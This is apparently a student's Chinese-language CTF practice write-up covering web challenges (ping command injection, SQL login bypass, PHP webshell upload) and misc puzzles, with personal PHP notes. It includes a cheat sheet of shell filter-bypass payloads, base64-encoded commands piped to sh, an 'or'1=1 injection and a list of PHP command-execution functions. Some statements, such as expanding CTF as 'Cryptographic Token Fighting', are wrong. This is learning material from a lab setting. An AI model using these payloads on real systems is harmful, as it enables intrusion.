web
babyHTTP
get请求+post请求+cookie(cookie在请求头上把false换成true就行),根据提示一步步走
PHPinfo
最开始我是直接/phpinfo了,发现找不到,在/phpinfo.php里面呢,考察基础目录知识
我得再快点
这是个给提供不断刷新的key值,要求将key值md5加密后上传,下边是源码
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<title>Hello World</title>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
// 定时刷新页面的时间间隔(以毫秒为单位)
var refreshInterval = 1000; // 1秒
// 定义刷新页面的函数
function refreshPage() {
location.reload(); // 刷新当前页面
}
// 在页面加载完成后开始定时刷新
window.onload = function() {
// 使用 setInterval 函数实现定时刷新
setInterval(refreshPage, refreshInterval);
};
</script>
</head>
<body>
<h3>请输入Key的MD5加密</h3>
<p>Key : fIxGjFzTHBX9Aay<span id="variable"></span></p>
<form action="/check" method="GET">
<input type="text" id="value" name="value" required>
<button type="Flag">Flag</button>
</form>
<script>
// 使用 Ajax 定时更新变量的值
setInterval(function() {
$.ajax({
url: '/variable',
type: 'GET',
success: function(response) {
$('#variable').text(response);
},
error: function() {
console.log('Failed to fetch variable value.');
}
});
}, refreshInterval);
</script>
</body>
</html>
先上传个1看看
发现人的速度不能跟脚本相比,果断去写python脚本,在首业响应文本里获取key值进行md5加密上传到/check目录下get的值value中并获取响应文本
以下是python脚本
import requests
import hashlib
import re
# 目标页面 URL
target_url = 'http://152.136.11.155:10103'
# 访问目标页面获取 Key 值
response = requests.get(target_url)
if response.status_code == 200:
html_content = response.text
print("成功获取目标页面内容")
else:
print(f"访问目标页面失败,状态码: {response.status_code}")
exit()
# 正则表达式提取 Key 后的字符串
key_pattern = re.compile(r'Key\s*:\s*([A-Za-z0-9]+)')
match = key_pattern.search(html_content)
if match:
key_string = match.group(1)
print(f"提取到的 Key 字符串: {key_string}")
# 计算 MD5 哈希值
md5_hash = hashlib.md5(key_string.encode()).hexdigest()
print(f"MD5 哈希值: {md5_hash}")
# 将 MD5 哈希值作为参数发送请求到 /check
check_url = f'http://152.136.11.155:10103/check'
params = {'value': md5_hash}
check_response = requests.get(check_url, params=params)
if check_response.status_code == 200:
print("响应内容:")
print(check_response.text)
else:
print(f"访问 /check 失败,状态码: {check_response.status_code}")
else:
print("未找到 Key 后的字符串")
🏓 Ping
题目这样,先检查过滤,
Error: Invalid input.应该就是被过滤了,有分号,大中小括号,空格 ,echo,`,%3B,|,<>,flag,%20之类的
解:我这里用%0A换行符号替代分号因为
在许多常见的命令行界面中,分号(;)常被用作命令的分隔符,允许在一行中执行多个命令。分号使命令以顺序依次执行。
相比之下,换行符(\n)或 URL 编码的换行符(%0A)在某些情况下可以用作命令的分隔符。例如,在某些网页表单或特定的应用程序中,分号可能被过滤或禁止使用,而换行符则可被接受。
下边的是一些不错的知识点我也放在下边的,需要的可以看看
空格被过滤
{cat,flag.php}
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
如果你在进行CTF(Cryptographic Token Fighting)比赛或者安全挑战时,遇到了一个关于ping命令的问题,其中分号被过滤或者不被允许,你可以尝试以下方法绕过这个限制:
使用十六进制编码:将分号;编码为其对应的URL编码%3B。
使用注释:在分号前面加上注释符号#或者使用--作为注释。
使用其他命令替代:例如,在类Unix系统中,可以使用&&连接符来执行多个命令。
例如,如果原本的ping命令是:
ping www.example.com;ls
你可以尝试以下绕过方法:
使用十六进制编码:
ping www.example.com%3Bls
使用注释:
ping www.example.com#ls
或者
ping www.example.com--ls
使用&&连接符:
ping www.example.com && ls
在实际应用中,需要根据具体的过滤规则和环境来选择合适的绕过方法。
2048
如果网页无法通过F12键打开开发者工具,可以尝试以下几种解决方法:
-
使用快捷键:尝试使用
Ctrl+U
快捷键直接查看网页源代码,这是一个比F12更直接的查看源代码的方法。另外,也可以通过Ctrl+Shift+I
快捷键在谷歌浏览器中直接打开开发者工具12。 -
提前按F12:在进入网站之前就按下F12键,然后再输入网站地址进入网站。
解:在控制台中输入score=10000000000
🐶 CNSS娘の宠物商店
根据提示:CNSS娘的账号是 admin
, 登陆查看CNSS娘藏在后台的秘密……
这是个sql注入题
账号admin,密码万能绕过 'or'1=1
👤 换个头像先
注册个账号登陆进去,上传一个图片(我上的0.png),抓包bp上修改为0.php,
复制图像连接新建一个页面进入图片目录,将0.png换成0.php,post需要执行的命令
这里可以用蚁剑连接或者直接harkbar传了
🚓 can can need shell
先看源码,需要自己写个文件上传的html,这是我的
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>
<body>
<h1>上传文件</h1>
<form action="http://152.136.11.155:10108/" method="post" enctype="multipart/form-data">
<label for="uploaded_file">选择文件:</label>
<input type="file" name="uploaded_file" id="uploaded_file" required>
<input type="submit" value="上传文件">
</form>
</body>
</html>
接下来上传看看,我用的文件包含的方式,打算包含一个日志文件,结果没找到,可能是被玩坏了把
不好使就写个txt文件,再用php文件包含他,也是可以运行的,如下
成功拿下
💽 newsql
过滤了挺多的如 union,select,order,分号,这题不会,
misc
🙈 尔辈不能究物理
docx的文件应该都可以看作是压缩包,换成.zip文件,然后进入图片目录看看,看到了不得了的东西呢,cnss{w5_w0RD_BtM3!}//不是,我不知道为什么不对
✨ 星光下的梦想
用工具频谱图看,内容换成小写![](https://i-blog.csdnimg.cn/direct/545f87a5a4a74a6db00c90af743f5372.png)
笔记
下面是我的笔记了,跟练习赛没啥关系了,就是我的备忘录,以后我可能看
<?php
/**
* PHP获取路径或目录实现
*/
//魔术变量,获取当前文件的绝对路径
echo "__FILE__: ========> ".__FILE__;
echo '<br/>';
//魔术变量,获取当前脚本的目录
echo "__DIR__: ========> ".__DIR__;
echo '<br/>';
//dirname返回路径的目录部分,dirname(__FILE__)相当于__DIR__
echo "dirname(__FILE__): ========> ".dirname(__FILE__);
echo '<br/>';
//$_SERVER['PHP_SELF']和$_SERVER['SCRIPT_NAME']的结果一般相同,他们都是获取当前脚本的文件名
//只有当php以cgi方式运行时有区别,但是现在几乎找不到以cgi方式运行php了
echo '$_SERVER["PHP_SELF"]: ========> '.$_SERVER['PHP_SELF'];
echo '<br/>';
echo '$_SERVER["SCRIPT_NAME"]: ========> '.$_SERVER['SCRIPT_NAME'];
echo '<br/>';
//当前执行脚本的绝对路径。记住,在CLI方式运行php是获取不到的
echo '$_SERVER["SCRIPT_FILENAME"]: ========> '.$_SERVER['SCRIPT_FILENAME'];
echo '<br/>';
//当前运行脚本所在的文档根目录。在服务器配置文件中定义。
echo '$_SERVER["DOCUMENT_ROOT"]: ========> '.$_SERVER['DOCUMENT_ROOT'];
echo '<br>';
//getcwd()返回当前工作目录
echo "getcwd(): ========> ".getcwd();
echo '<br>';
echo '<br>';
echo "PHP整理";
php代码执行相关
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令执行相关
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
`(反单引号)
ob_start()
php mail()